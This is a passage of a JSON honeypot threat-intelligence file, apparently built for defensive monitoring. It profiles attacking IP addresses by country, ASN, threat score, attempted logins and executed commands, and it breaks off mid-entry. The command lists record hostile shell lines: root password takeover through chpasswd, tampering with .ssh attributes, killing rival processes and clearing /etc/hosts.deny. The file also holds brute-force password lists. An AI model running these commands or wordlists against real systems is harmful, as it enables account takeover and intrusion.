      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:04:44.350000+00:00",
        "last_seen_30d": "2026-04-30T09:49:34.844000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "81.173.112.141": {
      "attack_count": 203,
      "first_seen": "2026-04-24T09:52:17.457Z",
      "last_seen": "2026-04-24T10:56:08.170Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "steam",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin",
        "dbg",
        "saad"
      ],
      "passwords_attempted": [
        "01020264",
        "123321",
        "12345.qwe",
        "123456ly",
        "123qwe!@#QWE",
        "132132",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211.",
        "P@55W0rd",
        "Qazwsx666@123",
        "Wc123456",
        "ZZzz123123",
        "admin",
        "admin0!@",
        "admin01",
        "admin1!",
        "asdfgh1",
        "bbCC1234",
        "dbg"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:olJqdXn4zcZT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:52:17.457000+00:00",
        "last_seen_30d": "2026-04-24T10:57:13.011000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 80
      }
    },
    "185.225.202.149": {
      "attack_count": 196,
      "first_seen": "2026-04-02T17:30:46.819Z",
      "last_seen": "2026-04-02T19:03:12.836Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123@India",
        "3245gs5662d34",
        "345gs5662d34",
        "7qvt6t2738",
        "Lg!123456",
        "Mihai2024",
        "Ys@123456789",
        "ZXC123",
        "a1234567@",
        "dai",
        "ics",
        "p@SSw0rd",
        "password12345",
        "sofia",
        "ubun",
        "whosyourdaddy"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:hYZqL12mDakA\"|chpasswd|bash",
        "echo \"root:tvXo7mMDln1M\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 216300,
      "as_org": "Closed Joint Stock Company AbkhazMedia",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:30:46.819000+00:00",
        "last_seen_30d": "2026-04-02T19:04:15.460000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 42
      }
    },
    "72.56.85.111": {
      "attack_count": 194,
      "first_seen": "2026-04-10T13:41:25.368Z",
      "last_seen": "2026-04-10T14:20:21.713Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ftpuser",
        "345gs5662d34",
        "adminuser",
        "anthony",
        "armen",
        "dev",
        "dummy",
        "flussonic",
        "hduser",
        "ice",
        "oracle",
        "teamspeak"
      ],
      "passwords_attempted": [
        "10022025612335",
        "1234",
        "123456",
        "123@abc",
        "3245gs5662d34",
        "345gs5662d34",
        "AA",
        "Bb12345678",
        "Erkan123",
        "Long@123",
        "Pass1234",
        "Qwerty123",
        "Root0!",
        "Super2024",
        "Teamspeak19",
        "Ubuntu@123",
        "ZZbb1234",
        "anthony",
        "dev13!",
        "dummy"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"10022025612335\\nfC4ixe5KBInm\\nfC4ixe5KBInm\\n\"|passwd",
        "echo -e \"10022025612335\\nfC4ixe5KBInm\\nfC4ixe5KBInm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:41:25.368000+00:00",
        "last_seen_30d": "2026-04-10T14:21:22.721000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "103.23.199.119": {
      "attack_count": 193,
      "first_seen": "2026-04-10T17:19:00.717Z",
      "last_seen": "2026-04-10T18:24:38.383Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "eddie",
        "frontend",
        "hong",
        "ivan",
        "jeff",
        "newuser1",
        "pc",
        "postgres",
        "postgresql",
        "sftptest",
        "steam",
        "test",
        "testtest"
      ],
      "passwords_attempted": [
        "102025",
        "123",
        "1234567",
        "123456abc",
        "123456qwerty",
        "123qweQWE!",
        "3245gs5662d34",
        "345gs5662d34",
        "55555555",
        "P@ssword02",
        "Qwe1234.",
        "Test06!",
        "claude17",
        "eddie",
        "frontend",
        "hong",
        "jeff",
        "newuser1",
        "pc123",
        "peng123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:d1zELhKzZGO2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:19:00.717000+00:00",
        "last_seen_30d": "2026-04-10T18:25:41.512000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 67
      }
    },
    "37.143.61.165": {
      "attack_count": 193,
      "first_seen": "2026-04-14T06:43:22.527Z",
      "last_seen": "2026-04-14T07:26:00.522Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "ftp-test",
        "git",
        "jk",
        "misuser",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5FvCe1Gvn9gC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:43:22.527000+00:00",
        "last_seen_30d": "2026-04-14T07:27:10.001000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "202.51.214.99": {
      "attack_count": 168,
      "first_seen": "2026-04-27T10:12:06.925Z",
      "last_seen": "2026-04-27T10:43:27.201Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#123QWE",
        "!QAZXSW@12",
        "123ubuntu",
        "3245gs5662d34",
        "345gs5662d34",
        "7788521521",
        "Abcd12341",
        "Ad123456",
        "Admin123!@#",
        "Admin123321",
        "Hh@123456789",
        "Iforg0t",
        "Root@1234567",
        "aa1234",
        "angelica",
        "clarissa",
        "florin2025",
        "p@55w0rd123",
        "qwerty123!",
        "root@admin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:64m4k8lj9erm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 10220,
      "as_org": "PT. Kreasi Sejahtera Teknologi",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:12:06.925000+00:00",
        "last_seen_30d": "2026-04-27T10:44:28.971000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "94.253.15.171": {
      "attack_count": 118,
      "first_seen": "2026-04-26T17:49:36.437Z",
      "last_seen": "2026-04-26T18:09:14.112Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qwe123QWE",
        "1357:",
        "3245gs5662d34",
        "345gs5662d34",
        "DxEZNX8F/K5$57;&gt;",
        "Pass3356",
        "Qwer@2026",
        "booking",
        "cvsroot2024",
        "forums",
        "huawei@444444",
        "needidc90@163.com",
        "qwe5202514",
        "qwert",
        "qwezxc",
        "qwe~!@#",
        "spammer",
        "system",
        "t5r4e3w2q1",
        "wisdom"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tuchkovo",
      "asn": 21453,
      "as_org": "Flex Ltd.",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:49:36.437000+00:00",
        "last_seen_30d": "2026-04-26T18:10:23.429000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 48
      }
    },
    "45.154.205.107": {
      "attack_count": 102,
      "first_seen": "2026-04-30T22:45:55.162Z",
      "last_seen": "2026-04-30T22:50:20.229Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 136258,
      "as_org": "BrainStorm Network, Inc",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:45:55.162000+00:00",
        "last_seen_30d": "2026-04-30T22:51:29.931000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 52
      }
    },
    "223.123.43.5": {
      "attack_count": 100,
      "first_seen": "2026-04-24T04:28:58.624Z",
      "last_seen": "2026-04-27T20:49:46.655Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhang Sadar",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T04:28:58.624000+00:00",
        "last_seen_30d": "2026-04-27T20:50:48.664000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 52
      }
    },
    "111.68.107.91": {
      "attack_count": 93,
      "first_seen": "2026-04-25T00:45:31.227Z",
      "last_seen": "2026-04-25T01:09:10.362Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Qaz123456789",
        "ZAQ!@WSXcde3",
        "devdev",
        "password123",
        "root12!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:tMOp7N2vbtcS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 45773,
      "as_org": "PERN AS Content Servie Provider, Islamabad, Pakistan",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:45:31.227000+00:00",
        "last_seen_30d": "2026-04-25T01:10:17.753000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "181.23.110.205": {
      "attack_count": 92,
      "first_seen": "2026-04-18T16:57:58.701Z",
      "last_seen": "2026-04-18T18:40:30.851Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "teamspeak",
        "testtest",
        "ubuntu"
      ],
      "passwords_attempted": [
        "root12",
        "teamspeak01",
        "test1234",
        "ubuntu*12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T16:57:58.701000+00:00",
        "last_seen_30d": "2026-04-18T18:41:37.277000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 64
      }
    },
    "34.76.195.7": {
      "attack_count": 72,
      "first_seen": "2026-04-26T04:46:32.777Z",
      "last_seen": "2026-04-26T04:47:25.252Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5625",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:46:32.777000+00:00",
        "last_seen_30d": "2026-04-26T04:48:35.306000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "185.205.246.60": {
      "attack_count": 66,
      "first_seen": "2026-04-26T04:37:13.966Z",
      "last_seen": "2026-04-26T05:08:05.759Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:37:13.966000+00:00",
        "last_seen_30d": "2026-04-26T05:09:09.500000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 43
      }
    },
    "175.107.36.216": {
      "attack_count": 50,
      "first_seen": "2026-04-04T13:34:57.736Z",
      "last_seen": "2026-04-04T13:45:07.087Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:34:57.736000+00:00",
        "last_seen_30d": "2026-04-04T13:46:16.437000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "27.204.198.85": {
      "attack_count": 50,
      "first_seen": "2026-04-26T20:48:58.726Z",
      "last_seen": "2026-04-26T20:54:23.182Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:48:58.726000+00:00",
        "last_seen_30d": "2026-04-26T20:55:33.125000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.227.201.205": {
      "attack_count": 50,
      "first_seen": "2026-04-10T22:29:02.336Z",
      "last_seen": "2026-04-10T22:34:26.883Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:29:02.336000+00:00",
        "last_seen_30d": "2026-04-10T22:35:27.865000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.68": {
      "attack_count": 48,
